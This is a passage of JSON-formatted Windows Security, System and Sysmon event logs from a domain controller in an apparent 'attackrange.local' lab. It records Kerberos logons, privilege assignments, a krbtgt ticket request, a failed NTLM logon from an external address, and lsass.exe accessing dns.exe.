Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3a30c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221557,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3A30C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t49697\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3a30c","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"49697","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221558,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3A30D\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49698\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3a30d","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49698","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221559,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x60810010\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x60810010","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221560,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A4CD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3a4cd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221561,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3A4CD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49699\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3a4cd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49699","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221562,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49286\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49286","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":4611686018695823360,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":1014,"SourceName":"Microsoft-Windows-DNS-Client","ProviderGuid":"{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}","Version":0,"Task":1014,"OpcodeValue":0,"RecordNumber":76817,"ProcessID":860,"ThreadID":3692,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Name resolution for the name attackrange.local timed out after none of the configured DNS servers responded.","Opcode":"Info","QueryName":"attackrange.local","AddressLength":"16","Address":"020000350A00010E0000000000000000","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":37,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76818,"ProcessID":1220,"ThreadID":1996,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time provider NtpClient is currently receiving valid time data from time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123).","Opcode":"Info","TimeSource":"time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123)","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:19.843\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:19.843","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:19.843\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:19.843","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:19.937\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 